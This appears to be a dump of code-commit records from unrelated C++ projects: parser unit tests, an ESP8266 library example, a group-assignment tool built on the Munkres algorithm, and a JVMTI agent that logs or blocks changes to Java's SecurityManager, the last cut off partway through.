BinaryOpExpr* bExpr = dynamic_cast<const BinaryOpExpr*>(vDecl->GetInitExpr());\n        BOOST_REQUIRE(bExpr != nullptr);\n        BOOST_REQUIRE(bExpr->GetOperation() == operations[i]);\n\n        const NumberExpr* nExpr = dynamic_cast<const NumberExpr*>(bExpr->GetLHS());\n        BOOST_REQUIRE(nExpr != nullptr);\n        BOOST_REQUIRE_EQUAL(nExpr->GetValue(), 1);\n\n        nExpr = dynamic_cast<const NumberExpr*>(bExpr->GetRHS());\n        BOOST_REQUIRE(nExpr != nullptr);\n        BOOST_REQUIRE_EQUAL(nExpr->GetValue(), 2);\n    }\n}\n\nBOOST_AUTO_TEST_CASE( ParseVarInitIntBinOpTest )\n{\n    auto& cNodes = GetProgramAST(\"..\/inputs\/var\/binary_op_int.tos\");\n    const size_t childExpectedSize = 9;\n    BOOST_REQUIRE_EQUAL(cNodes.size(), childExpectedSize);\n\n    TosLang::Common::Opcode operations[] =\n    { \n        TosLang::Common::Opcode::PLUS,\n        TosLang::Common::Opcode::MINUS,\n        TosLang::Common::Opcode::MULT,\n        TosLang::Common::Opcode::DIVIDE,\n        TosLang::Common::Opcode::MODULO,\n        TosLang::Common::Opcode::AND_INT,\n        TosLang::Common::Opcode::OR_INT,\n        TosLang::Common::Opcode::RIGHT_SHIFT,\n        TosLang::Common::Opcode::LEFT_SHIFT,\n    };\n\n    for (size_t i = 0; i < childExpectedSize; ++i)\n    {\n        BOOST_REQUIRE(cNodes[i]->GetKind() == ASTNode::NodeKind::VAR_DECL);\n        const VarDecl* vDecl = dynamic_cast<const VarDecl*>(cNodes[i].get());\n        BOOST_REQUIRE(vDecl != nullptr);\n        BOOST_REQUIRE_EQUAL(vDecl->GetVarName(), \"V\" + std::to_string(i + 1));\n        \n        BOOST_REQUIRE(vDecl->GetInitExpr()->GetKind() == ASTNode::NodeKind::BINARY_EXPR);\n        const BinaryOpExpr* bExpr = dynamic_cast<const BinaryOpExpr*>(vDecl->GetInitExpr());\n        BOOST_REQUIRE(bExpr != nullptr);\n        BOOST_REQUIRE(bExpr->GetOperation() == operations[i]);\n        \n        const NumberExpr* nExpr = dynamic_cast<const NumberExpr*>(bExpr->GetLHS());\n        BOOST_REQUIRE(nExpr != nullptr);\n        BOOST_REQUIRE_EQUAL(nExpr->GetValue(), 1);\n\n        nExpr = dynamic_cast<const NumberExpr*>(bExpr->GetRHS());\n        BOOST_REQUIRE(nExpr != nullptr);\n        BOOST_REQUIRE_EQUAL(nExpr->GetValue(), 1);\n    }\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/ ERROR USE CASES \/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nBOOST_AUTO_TEST_CASE( ParserBadInitTest )\n{\n    Parser parser;\n    BOOST_REQUIRE(parser.ParseProgram(\"..\/inputs\/var\/var_decl.cpp\") == nullptr);\n    BOOST_REQUIRE(parser.ParseProgram(\"BadFile.tos\") == nullptr);\n\n    std::vector<std::string> messages{ GetErrorMessages() };\n\n    \/\/ Check if the correct error messages got printed\n    BOOST_REQUIRE_EQUAL(messages.size(), 2);\n    BOOST_REQUIRE_EQUAL(messages[0], \"FILE ERROR: Wrong file type\");\n    BOOST_REQUIRE_EQUAL(messages[1], \"FILE ERROR: Problem opening the specified file\");\n}\n\nBOOST_AUTO_TEST_CASE( ParseBadVarDeclTest )\n{\n    auto& cNodes = GetProgramAST(\"..\/inputs\/var\/bad_var_decl.tos\");\n    BOOST_REQUIRE_EQUAL(cNodes.size(), 10);\n\n    \/\/ Check that there is all but one non error node\n    \/\/ TODO: This should be re-enabled once the type checker is workinh again\n    \/\/BOOST_REQUIRE_EQUAL(std::count_if(cNodes.begin(), cNodes.end(), [](const std::unique_ptr<ASTNode>& node){ return node->GetKind() != ASTNode::NodeKind::ERROR; }), 1);\n    \n    \/\/ Check if the correct error messages got printed\n    std::vector<std::string> messages{ GetErrorMessages() };\n    BOOST_REQUIRE_EQUAL(messages.size(), 8);\n    BOOST_REQUIRE_EQUAL(messages[0], \"VAR ERROR: The var keyword should be followed by an identifier at line 1, column 3\");\n    BOOST_REQUIRE_EQUAL(messages[1], \"VAR ERROR: The var keyword should be followed by an identifier at line 2, column 7\");\n    BOOST_REQUIRE_EQUAL(messages[2], \"VAR ERROR: Missing : between a variable and its type at line 3, column 12\");\n    BOOST_REQUIRE_EQUAL(messages[3], \"VAR ERROR: Missing : between a variable and its type at line 4, column 8\");\n    BOOST_REQUIRE_EQUAL(messages[4], \"VAR ERROR: Missing type from variable declaration at line 5, column 8\");\n    BOOST_REQUIRE_EQUAL(messages[5], \"ERROR: Expected a ; at line 7, column 3\");\n    BOOST_REQUIRE_EQUAL(messages[6], \"VAR ERROR: The var keyword should be followed by an identifier at line 7, column 3\");\n    BOOST_REQUIRE_EQUAL(messages[7], \"VAR ERROR: Trying to create a variable with void type at line 10, column 17\");\n    \n    \/\/ TODO: This should be re-enabled once the type checker is workinh again\n    \/\/ BOOST_REQUIRE_EQUAL(messages[7], \"VAR ERROR: Trying to redefine an already defined variable at line 9, column 14\");\n}\n\nBOOST_AUTO_TEST_CASE( ParseBadVarInitBinOpTest )\n{\n    auto& cNodes = GetProgramAST(\"..\/inputs\/var\/bad_binary_op.tos\");\n    BOOST_REQUIRE_EQUAL(cNodes.size(), 3);\n\n    \/\/ Check that we have only error nodes.\n    BOOST_REQUIRE(std::all_of(cNodes.begin(), cNodes.end(), [](const std::unique_ptr<ASTNode>& node) { return node->GetKind() == ASTNode::NodeKind::ERROR; }));\n\n    \/\/ Check if the correct error messages got printed\n    std::vector<std::string> messages{ GetErrorMessages() };\n    BOOST_REQUIRE_EQUAL(messages.size(), 3);\n    BOOST_REQUIRE_EQUAL(messages[0], \"ERROR: Not an acceptable use of a binary operation at line 1, column 14\");\n    BOOST_REQUIRE_EQUAL(messages[1], \"ERROR: Missing right hand side in binary expression at line 2, column 15\");\n    BOOST_REQUIRE_EQUAL(messages[2], \"ERROR: Not an acceptable binary operation at line 3, column 18\");\n}\n\nBOOST_AUTO_TEST_SUITE_END()\n<|endoftext|>"}
{"text":"<commit_before>#include <PREi.h>\n\nPREi *r;\n\nvoid setup() {\n  r = new PREi();\n}\n\nvoid loop() {\n  r->run();\n}\n<commit_msg>Fixed .cpp example to match .ino one<commit_after>#include <PREi.h>\n\nPREi *r;\n\nvoid setup() {\n  r = new PREi(\"ESP8266\", \"abcdef12\");\n}\n\nvoid loop() {\n  r->run();\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*********************************************************************\n* The MIT License (MIT)                                              *\n*                                                                    *\n* Copyright (c) 2015 Viktor Richter                                  *\n*                                                                    *\n* Permission is hereby granted, free of charge, to any person        *\n* obtaining a copy of this software and associated documentation     *\n* files (the \"Software\"), to deal in the Software without            *\n* restriction, including without limitation the rights               *\n* to use, copy, modify, merge, publish, distribute, sublicense,      *\n* and\/or sell copies of the Software, and to permit persons to whom  *\n* the Software is furnished to do so, subject to the following       *\n* conditions:                                                        *\n*                                                                    *\n* The above copyright notice and this permission notice shall be     *\n* included in all copies or substantial portions of the Software.    *\n*                                                                    *\n* THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,    *\n* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF *\n* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND              *\n* NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT        *\n* HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,       *\n* WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, *\n* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER      *\n* DEALINGS IN THE SOFTWARE.                                          *\n*********************************************************************\/\n\n#include <map>\n#include <vector>\n#include <sstream>\n#include <algorithm>\n#include <cstdlib>\n#include <cassert>\n#include <iostream>\n#include \"munkres.h\"\n#include \"matrix.h\"\n\n#define WARNING(TXT) { std::cout << \"WARNING: \" << TXT<< std::endl; }\n#define ERROR(ERRVAL,TXT) { std::cout << \"ERROR: \" << TXT << std::endl; exit(ERRVAL); }\n\nstruct Participant {\n  std::string id = \"\";\n  std::vector<int> preferences;\n};\n\ntypedef unsigned int uint;\ntypedef int Cost;\ntypedef std::string Id;\ntypedef int GroupId;\ntypedef std::map<std::string,std::string> ProgArgs;\n\nstd::vector<std::string> split(const std::string& data, char delimiter) {\n  std::vector<std::string> result;\n  std::stringstream stream(data);\n  std::string element;\n  while(std::getline(stream, element, delimiter)){\n      result.push_back(element);\n  }\n  return result;\n}\n\ntemplate<typename T>\nT parse(const std::string& data){\n  std::istringstream istream(data);\n  T result;\n  istream >> result;\n  return result;\n}\n\ntemplate<typename T>\nstd::vector<T> parse_vector(const std::vector<std::string>& data, uint start_at=0){\n  std::vector<T> result;\n  for(uint i = start_at; i < data.size(); ++i){\n    result.push_back(parse<T>(data[i]));\n  }\n  return result;\n}\n\nParticipant parseParticipant(const std::string& csv){\n  std::vector<std::string> vector = split(csv,',');\n  Participant result;\n  if(vector.size() > 1){\n    result.id = parse<std::string>(vector[0]);\n    result.preferences = parse_vector<int>(vector,1);\n  }\n  return result;\n}\n\nvoid process_args(int arg_num, char** args, ProgArgs& prog_args_dst){\n  \/\/ set default values\n  for(int i = 1; i < arg_num; ++i){\n    std::string arg = args[i];\n    if(arg == \"--help\" || arg == \"-h\"){\n      std::cout << \"This application uses preferences to sort participants into groups. Input data is read from stdin.\\n\"\\\n                << \"Usage: assign < preferences.csv\\n\\n\"\n                << \"Parameters:\\n\"\n                << \"\\t -h | --help \\t\\t print this message and leave.\\n\"\n                << \"\\t -e | --example \\t\\t print an example preferences document in the correct format and leave.\"\n                << std::endl;\n      std::exit(0);\n    } else if (arg == \"--example\" || arg == \"-e\"){\n      std::cout << \"jack,1,5,6,2,3\" << std::endl;\n      std::cout << \"jill,6,2,4,6,2\" << std::endl;\n      std::cout << \"paul,3,3,5,2,1\" << std::endl;\n      std::cout << \"jill,2,9,7,4,3\" << std::endl;\n      std::cout << \"jenn,5,6,3,7,1\" << std::endl;\n      std::exit(0);\n    }\n  }\n}\n\nstd::vector<Participant> parse_csv_data(){\n  std::vector<Participant> result;\n  uint preferences_count = 0;\n  uint line = 1;\n  while(std::cin) {\n    std::string participant_csv;\n    std::getline(std::cin, participant_csv);\n    if(std::cin.eof()) break;\n    result.push_back(parseParticipant(participant_csv));\n    if(line == 1){\n      preferences_count = result.front().preferences.size();\n    } else  {\n      if(result.back().preferences.size() != preferences_count){\n        ERROR(-1,\"Preferences count in line #\" << line << \" is defferent from previous. \"\n                  << result.back().preferences.size() << \" != \" << preferences_count << \"(previous).\");\n      }\n    }\n    ++line;\n  }\n  return result;\n}\n\ntemplate<typename T>\nstd::string to_string(std::vector<T> vector){\n  if(vector.size() == 0){\n    return \"[ ]\";\n  } else {\n    std::stringstream stream;\n    stream << \"[ \" << vector.front();\n    for(uint i = 1; i < vector.size(); ++i){\n      stream << \", \" << vector[i];\n    }\n    stream << \" ]\";\n    return stream.str();\n  }\n}\n\nvoid print_data(const std::vector<Participant>& participants, std::ostream& dst){\n  for(auto participant : participants){\n    dst << \"Participant: \" << participant.id << std::endl;\n    dst << \"\\tPreferences: \" << to_string(participant.preferences) << \"\\n\";\n  }\n}\n\ntemplate<typename T>\nvoid print_matrix(const Matrix<T>& matrix, std::ostream& stream){\n  \/\/ Display solved matrix.\n  for ( int row = 0 ; row < matrix.rows() ; row++ ) {\n    for ( int col = 0 ; col < matrix.columns() ; col++ ) {\n      stream << matrix(row,col) << \",\";\n    }\n    stream << \"\\n\";\n  }\n  stream << std::endl;\n}\n\nMatrix<double> create_matrix(std::vector<Participant>& participants, uint group_count){\n  uint group_size = participants.size() \/ group_count;\n  if(participants.size() % group_count) { ++group_size; } \/\/ rounding up\n  uint columns = participants.size(); \/\/ true count of entities\n  uint rows = group_count * group_size;\n\n  Matrix<double> result(rows,columns);\n\n  for(uint row = 0; row < rows; ++row){\n    for(uint column = 0; column < columns; ++column){\n      uint looped_row = row % group_count;\n      result(row, column) = participants[column].preferences[looped_row]; \/\/ transposing\n    }\n  }\n  return result;\n}\n\nvoid print_assignments_csv(const std::vector<Participant>& participants, const std::vector<GroupId>& groups){\n  for(uint i = 0; i < participants.size(); ++i){\n    std::cout << participants.at(i).id << \",\" << groups.at(i) << std::endl;\n  }\n}\n\nvoid print_assignments_json(const std::vector<Participant>& participants, const std::vector<GroupId>& groups){\n  std::cout << \"{\\n    \\\"assignment\\\": [\\n\";\n  for(uint i = 0; i < participants.size(); ++i){\n    std::cout << \"        {\\n\"\n              << \"            \\\"id\\\":         \\\"\" << participants.at(i).id         << \"\\\",\\n\"\n              << \"            \\\"group\\\":      \" << groups.at(i) << \"\\n        }\";\n    if(i+1 < participants.size()){\n      std::cout << \",\\n\";\n    } else {\n      std::cout << \"\\n\";\n    }\n  }\n  std::cout << \"    ]\\n}\" << std::endl;\n}\n\nstd::vector<GroupId> create_assignments(const std::vector<Participant>& participants, const uint group_count, const Matrix<double>& solution){\n  std::vector<GroupId> result;\n  result.reserve(participants.size());\n  for(uint i = 0; i < participants.size(); ++i){\n    uint column = i;\n    std::vector<int> groups;\n    for (uint row = 0; row < solution.rows(); ++row){\n      if(solution(row,column) == 0){\n        groups.push_back(row % group_count);\n      }\n    }\n    if(groups.size() == 0){\n      WARNING(\"Participant \" << participants[i].id << \" could not be assigned to a group\");\n      result.push_back(-1);\n    } else {\n      if(groups.size() > 1){\n        WARNING(\"Participant \" << participants[i].id << \" was assigned to multiple groups: \" << to_string(groups)\n                << \" will use the first.\");\n      }\n      result.push_back(groups.front());\n    }\n  }\n  return result;\n}\n\nint main(int arg_num, char** args) {\n\n  ProgArgs prog_args;\n  process_args(arg_num,args,prog_args);\n\n  auto participants = parse_csv_data();\n\n  uint group_count = participants.front().preferences.size();\n\n  Matrix<double> cost_matrix = std::move(create_matrix(participants, group_count));\n  Matrix<double> solution = cost_matrix;\n  Munkres munkres;\n  munkres.solve(solution);\n\n  auto assignments = create_assignments(participants,group_count,solution);\n  if(assignments.size() != participants.size()){\n    ERROR(-1,\"Assignment went wrong. The reason is probably bad programming.\");\n  }\n\n  print_assignments_csv(participants,assignments);\n\n  return 0;\n}\n\n<commit_msg>Remove outdated clutter from assign<commit_after>\/*********************************************************************\n* The MIT License (MIT)                                              *\n*                                                                    *\n* Copyright (c) 2015 Viktor Richter                                  *\n*                                                                    *\n* Permission is hereby granted, free of charge, to any person        *\n* obtaining a copy of this software and associated documentation     *\n* files (the \"Software\"), to deal in the Software without            *\n* restriction, including without limitation the rights               *\n* to use, copy, modify, merge, publish, distribute, sublicense,      *\n* and\/or sell copies of the Software, and to permit persons to whom  *\n* the Software is furnished to do so, subject to the following       *\n* conditions:                                                        *\n*                                                                    *\n* The above copyright notice and this permission notice shall be     *\n* included in all copies or substantial portions of the Software.    *\n*                                                                    *\n* THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,    *\n* EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF *\n* MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND              *\n* NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT        *\n* HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY,       *\n* WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, *\n* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER      *\n* DEALINGS IN THE SOFTWARE.                                          *\n*********************************************************************\/\n\n#include <map>\n#include <vector>\n#include <sstream>\n#include <algorithm>\n#include <cstdlib>\n#include <cassert>\n#include <iostream>\n#include \"common.h\"\n#include \"munkres.h\"\n#include \"matrix.h\"\n\nusing namespace assign;\n\nvoid process_args(int arg_num, char** args, ProgArgs& prog_args_dst){\n  \/\/ set default values\n  for(int i = 1; i < arg_num; ++i){\n    std::string arg = args[i];\n    if(arg == \"--help\" || arg == \"-h\"){\n      std::cout << \"This application uses preferences to sort participants into groups. Input data is read from stdin.\\n\"\\\n                << \"Usage: assign < preferences.csv\\n\\n\"\n                << \"Parameters:\\n\"\n                << \"\\t -h | --help \\t\\t print this message and leave.\\n\"\n                << \"\\t -e | --example \\t\\t print an example preferences document in the correct format and leave.\"\n                << std::endl;\n      std::exit(0);\n    } else if (arg == \"--example\" || arg == \"-e\"){\n      std::cout << \"jack,1,5,6,2,3\" << std::endl;\n      std::cout << \"jill,6,2,4,6,2\" << std::endl;\n      std::cout << \"paul,3,3,5,2,1\" << std::endl;\n      std::cout << \"jill,2,9,7,4,3\" << std::endl;\n      std::cout << \"jenn,5,6,3,7,1\" << std::endl;\n      std::exit(0);\n    }\n  }\n}\n\nint main(int arg_num, char** args) {\n\n  ProgArgs prog_args;\n  process_args(arg_num,args,prog_args);\n\n  auto participants = Participant::fromCsv(std::cin);\n\n  Assignment problem(participants);\n  auto assignments = problem.solve();\n\n  print_assignments_csv(assignments);\n\n  return 0;\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/** \n * @file\tmain.cpp\n * @brief \tThis JVMTI agent monitors applications for changes to the SecurityManager.\n *\n * The Java SecurityManager is responsible for enforcing a security policy for the thread\n * it is assigned to. The SecurityManager is stored in java.lang.System's security field.\n * This agent sets up a watch on that field and prints out the source file, function name,\n * and line number of the code that initiates any changes to it.\n *\/\n#include <jvmti.h>\n#include <string.h>\n#include <iostream>\n#include <fstream>\n#include <log4cpp\/Category.hh>\n#include <log4cpp\/PropertyConfigurator.hh>\n#include <boost\/program_options.hpp>\n\n#if defined(_WIN32) || defined(_WIN64)\n  #define strcasecmp _stricmp\n#endif\n\nvoid JNICALL VMInit(jvmtiEnv *jvmti_env, JNIEnv* jni_env, jthread thread);\nbool GetOptions();\nvoid check_jvmti_error(jvmtiEnv *jvmti, jvmtiError errnum, const char *str);\njvmtiError GetClassBySignature(jvmtiEnv* jvmti, const char* signature, jclass* klass);\njvmtiError GetFieldIDByName(jvmtiEnv* jvmti, jclass klass, const char* name, jfieldID* fieldID);\nvoid JNICALL FieldModification(jvmtiEnv *jvmti_env, JNIEnv* jni_env,\n                jthread thread, jmethodID method, jlocation location,\n                jclass field_klass, jobject object, jfieldID field,\n                char signature_type, jvalue new_value);\n\nenum smf_mode_t {MONITOR, ENFORCE};\n\nstruct options {\n  smf_mode_t mode;\n};\n\noptions opt;\n\nlog4cpp::Category* logger = NULL;\n\nJNIEXPORT jint JNICALL Agent_OnLoad(JavaVM* jvm, char* options, void* reserved) {\n\tjvmtiEnv* jvmti = NULL;\n\tjvmtiCapabilities capabilities;\n\tjvmtiError error;\n\tjvmtiEventCallbacks callbacks;\n\t\n\tmemset(&capabilities, 0, sizeof(capabilities));\n\tmemset(&callbacks, 0, sizeof(callbacks));\n\n\t\/\/ Start the logger\n\t\/\/ TODO: Need to make this easier to find without knowing cwd (use SMF_HOME env var?)\n\tlog4cpp::PropertyConfigurator::configure(\"smf_agent\/log4cpp.properties\");\n\tlogger = &log4cpp::Category::getRoot();\n\n\tif (logger == NULL) {\n\t\tprintf(\"Failed to get logger. Terminating...\");\n\t\treturn -1;\n\t}\n\n\t\/\/ Get the options\n\tif (!GetOptions()) {\n\t\treturn -1;\n\t}\n\n\t\/\/ Get JVMTI environment\n\tjint env_error = jvm->GetEnv((void **)&jvmti, JVMTI_VERSION_1_0);\n\tif (env_error != JNI_OK || jvmti == NULL) {\n\t\tlogger->fatal(\"Failed to get JVMTI environment.\");\n\t\treturn env_error;\n\t}\n\n\t\/\/ Enable capability to get source code line numbers and source file\n\tcapabilities.can_get_line_numbers = 1;\n\tcapabilities.can_get_source_file_name = 1;\n\n\t\/\/ Enable capability to receive events for field modifications and the event itself                \n\tcapabilities.can_generate_field_modification_events = 1;\n\n\terror = jvmti->AddCapabilities(&capabilities);\n\tcheck_jvmti_error(jvmti, error, \"Unable to get necessary JVMTI capabilities.\");\n\n\terror = jvmti->SetEventNotificationMode(JVMTI_ENABLE, JVMTI_EVENT_FIELD_MODIFICATION, NULL);\n\tcheck_jvmti_error(jvmti, error, \"Unable to set JVMTI_EVENT_FIELD_MODIFICATION.\");\n\n\t\/\/ Enable VMInit event so that we know when the JVM is initialized and we \n\t\/\/ can finish the rest of the setup\n\terror = jvmti->SetEventNotificationMode(JVMTI_ENABLE, JVMTI_EVENT_VM_INIT, NULL);\n\tcheck_jvmti_error(jvmti, error, \"Unable to set JVMTI_EVENT_VM_INIT.\");\n\n\tcallbacks.VMInit = &VMInit;\n\n\t\/\/ Set a callback to receive events when the security field of System is set.\n\t\/\/ This will let us see when the security manager is being changed.\n\tcallbacks.FieldModification = &FieldModification;\n\n\terror = jvmti->SetEventCallbacks(&callbacks, (jint)sizeof(callbacks));\n\tcheck_jvmti_error(jvmti, error, \"Unable to register callback for field modification events.\");\n\n\treturn JNI_OK;\n}\n\nJNIEXPORT void JNICALL Agent_OnUnload(JavaVM* jvm)\n{\n\tlog4cpp::Category::shutdown();\n}\n\nvoid JNICALL VMInit(jvmtiEnv *jvmti, JNIEnv* jni_env, jthread thread) {\n\tjclass system_class;\n\tjfieldID securityID; \n\tjvmtiError error;\n\n\t\/\/ Get the security field of the System class (holds the SecurityManager) and\n\t\/\/ set a modification watch on it\n\terror = GetClassBySignature(jvmti, \"Ljava\/lang\/System;\", &system_class);\n\tcheck_jvmti_error(jvmti, error, \"Unable to get System class.\");\n\n\terror = GetFieldIDByName(jvmti, system_class, \"security\", &securityID);\n\tcheck_jvmti_error(jvmti, error, \"Unable to get security field of the System class.\");\n\n\terror = jvmti->SetFieldModificationWatch(system_class, securityID);\n\tcheck_jvmti_error(jvmti, error, \"Unable to set a watch on modifications of security field of System class.\");\n}\n\n\/**\n * @brief\treads the smf properties file and populates the global opt struct with the correct values\n *\n * @retval\ttrue if all of the options in the properties are valid, false and a fatal log message otherwise\n *\/\nbool GetOptions() {\n\t\/\/ TODO: Need to make this easier to find without knowing cwd (use SMF_HOME env var?)\n\tstd::string mode;\n\t\n\tstd::ifstream settings_file(\"smf_agent\/smf.properties\");\n\tboost::program_options::options_description desc(\"Options\");\n\tdesc.add_options()\n\t\t(\"mode\", boost::program_options::value<std::string>(&mode), \"mode\");\n\tboost::program_options::variables_map vm = boost::program_options::variables_map();\n\n\tboost::program_options::store(boost::program_options::parse_config_file(settings_file , desc), vm);\n\tboost::program_options::notify(vm);  \n\tsettings_file.close();\n\n\tif (strcasecmp(mode.c_str(), \"MONITOR\") == 0) {\n\t\topt.mode = MONITOR;\n\t} else if (strcasecmp(mode.c_str(), \"ENFORCE\") == 0) {\n\t\topt.mode = ENFORCE;\n\t} else {\n\t\tlogger->fatal(\"Option value unknown: %s. Terminating...\");\n\t\treturn false;\n\t}\n\n\treturn true;\n}\n\nvoid log_jvmti_error(jvmtiEnv* jvmti, jvmtiError errnum, const char* str)\n{\n\tchar* errnum_str = NULL;\n\n\tjvmti->GetErrorName(errnum, &errnum_str);\n\n\tlogger->error(\"JVMTI: %d(%s): %s\\n\", errnum, errnum_str == NULL ? \"Unknown\" : errnum_str, \n\t\tstr == NULL ? \"\" : str);\n\n\tjvmti->Deallocate((unsigned char*)errnum_str);\n}\n\nvoid check_jvmti_error(jvmtiEnv* jvmti, jvmtiError errnum, const char* str)\n{\n\tif (errnum != JVMTI_ERROR_NONE)\n\t\tlog_jvmti_error(jvmti, errnum, str);\n}\n\n\/**\n * @brief\tlooks up and returns the reference for a class based on a user specified Java type signature\n * \n * @param\t[in] the JVMTI environment used to access the JVMTI API\n * @param\t[in] the Java type signature for the class we'd like to retrieve a reference to\n * @param\t[out] a pointer that will be set to reference the class whose signature was specified\n *\n * @retval\ta JVMTI error code if one is returned by any of the JVMTI API calls\n *\/\njvmtiError GetClassBySignature(jvmtiEnv* jvmti, const char* signature, jclass* klass) {\n\tjint class_count = 0;\n\tjclass* classes = NULL;\n\tjvmtiError error;\n\n\terror = jvmti->GetLoadedClasses(&class_count, &classes);\n\tif (error != JVMTI_ERROR_NONE)\n\t\treturn error;\n\n\n\tfor (int i = 0; i < class_count; i++) {\n\t\tchar* class_signature = NULL;\n\n\t\terror = jvmti->GetClassSignature(classes[i], &class_signature, NULL);\n\t\tif (error != JVMTI_ERROR_NONE)\n\t\t\treturn error;\n\n\t\tif (strcmp(class_signature, signature) == 0) {\n\t\t\t*klass = classes[i];\n\t\t\tbreak;\n\t\t}\n\n\t\tjvmti->Deallocate((unsigned char*)class_signature);\n\t}\n\n\tjvmti->Deallocate((unsigned char*)classes);\n\n\treturn JVMTI_ERROR_NONE;\n}\n\n\/**\n * @brief\tlooks up and returns the ID for a field in a class based on a user specified field name and class\n * \n * @param\t[in] the JVMTI environment used to access the JVMTI API\n * @param\t[in] the Java class we want to retrieve a field ID from\n * @param\t[in] the name of the field whose ID we want to retrieve\n * @param\t[out] a pointer to a jfieldID that will be set to the named field's ID\n *\n * @retval\ta JVMTI error code if one is returned by any of the JVMTI API calls\n *\/\njvmtiError GetFieldIDByName(jvmtiEnv* jvmti, jclass klass, const char* name, jfieldID* fieldID) {\n\tjint field_count = 0;\n\tjfieldID* fields = NULL;\n\tjvmtiError error;\n\n\terror = jvmti->GetClassFields(klass, &field_count, &fields);\n\tif (error != JVMTI_ERROR_NONE)\n\t\treturn error;\n\n\tfor (int i = 0; i < field_count; i++) {\n\t\tchar* field_name = NULL;\n\n\t\terror = jvmti->GetFieldName(klass, fields[i], &field_name, NULL, NULL);\n\t\tif (error != JVMTI_ERROR_NONE)\n\t\t\treturn error;\n\n\t\tif (strcmp(field_name, name) == 0) {\n\t\t\t*fieldID = fields[i];\n\t\t\tbreak;\n\t\t}\n\n\t\tjvmti->Deallocate((unsigned char*)field_name);\n\t}\n\n\tjvmti->Deallocate((unsigned char*)fields);\n\n\treturn JVMTI_ERROR_NONE;\n}\n\nvoid JNICALL FieldModification(jvmtiEnv* jvmti, JNIEnv* jni_env,\n                jthread thread, jmethodID method, jlocation location,\n                jclass field_klass, jobject object, jfieldID field,\n                char signature_type, jvalue new_value) {\n\n\tjvmtiError error;\n\tjvmtiFrameInfo caller_frame;\n\tjint frame_count = 0;\n\tjint line_count = 0;\n\tjvmtiLineNumberEntry* line_table = NULL;\n\tjint line_number = 0;\n\tchar* method_name = NULL;\n\tjclass caller_class = NULL;\n\tchar* source_file_name = NULL;\n\tJavaVM* jvm;\n\n\t\/\/ Get caller (we have to do this because we are in setSecurityManager when\n\t\/\/ this method is called);\n\terror = jvmti->GetStackTrace(thread, 2, 1, &caller_frame, &frame_count);\n\tcheck_jvmti_error(jvmti, error, \"Unable to get stack frame.\");\n\n\t\/\/ Get caller's line number\t\n\terror = jvmti->GetLineNumberTable(caller_frame.method, &line_count, &line_table);\t\n\tcheck_jvmti_error(jvmti, error, \"Unable to get line number for SecurityManager change.\");\n\n\tfor (int i = 0; i < line_count; i++) {\n\t\tif (line_table[i].start_location > caller_frame.location)\n\t\t\tbreak;\n\n\t\tline_number = line_table[i].line_number;\n\t}\n\n\t\/\/ Get caller's method name\n\terror = jvmti->GetMethodName(caller_frame.method, &method_name, NULL, NULL);\n\tcheck_jvmti_error(jvmti, error, \"Unable to method name.\");\n\n\t\/\/ Get the caller's class and source file name\n\terror = jvmti->GetMethodDeclaringClass(caller_frame.method, &caller_class);\n\tcheck_jvmti_error(jvmti, error, \"Unable to get caller class.\");\n\n\terror = jvmti->GetSourceFileName(caller_class, &source_file_name);\n\n\t\/\/ If new_value is full a null SecurityManager raise a red flag\n\tif ((long)new_value.j == 0) {\n\t\tif (opt.mode == MONITOR) {\n\t\t\tlogger->warn(\"The SecurityManager is being disabled!!!\\n\");\n\t\t} else if (opt.mode == ENFORCE) {\n\t\t\tlogger->fatal(\"The SecurityManager is being disabled. Terminating the running application...\");\n\t\t\texit(-1);\n\t\t}\n\t} else {\n\t\t\/\/jclass new_manager = jni_env->GetObjectClass(new_value.l);\n\t\t\/\/ TODO: This is where we may do something with the new manager in the plugin\n\t}\n\n\tlogger->warn(\"SecurityManager Changed:\\n%s, %s, %d\\n\\n\", source_file_name, method_name, line_number);\n\n\tjvmti->Deallocate((unsigned char*)line_table);\n\tjvmti->Deallocate((unsigned char*)method_name);\n\tjvmti->Deallocate((unsigned char*)source_file_name);\n}\n<commit_msg>The properties files are now tracked down by using the environment variable SMF_HOME. Attempts to use the cwd if SMF_HOME is not set<commit_after>\/** \n * @file\tmain.cpp\n * @brief \tThis JVMTI agent monitors applications for changes to the SecurityManager.\n *\n * The Java SecurityManager is responsible for enforcing a security policy for the thread\n * it is assigned to. The SecurityManager is stored in java.lang.System's security field.\n * This agent sets up a watch on that field and prints out the source file, function name,\n * and line number of the code that initiates any changes to it.\n *\/\n#include <jvmti.h>\n#include <string.h>\n#include <iostream>\n#include <fstream>\n#include <log4cpp\/Category.hh>\n#include <log4cpp\/PropertyConfigurator.hh>\n#include <boost\/program_options.hpp>\n\n#if defined(_WIN32) || defined(_WIN64)\n  #define strcasecmp _stricmp\n#endif\n\nvoid JNICALL VMInit(jvmtiEnv *jvmti_env, JNIEnv* jni_env, jthread thread);\nbool GetOptions();\nvoid check_jvmti_error(jvmtiEnv *jvmti, jvmtiError errnum, const char *str);\njvmtiError GetClassBySignature(jvmtiEnv* jvmti, const char* signature, jclass* klass);\njvmtiError GetFieldIDByName(jvmtiEnv* jvmti, jclass klass, const char* name, jfieldID* fieldID);\nvoid JNICALL FieldModification(jvmtiEnv *jvmti_env, JNIEnv* jni_env,\n                jthread thread, jmethodID method, jlocation location,\n                jclass 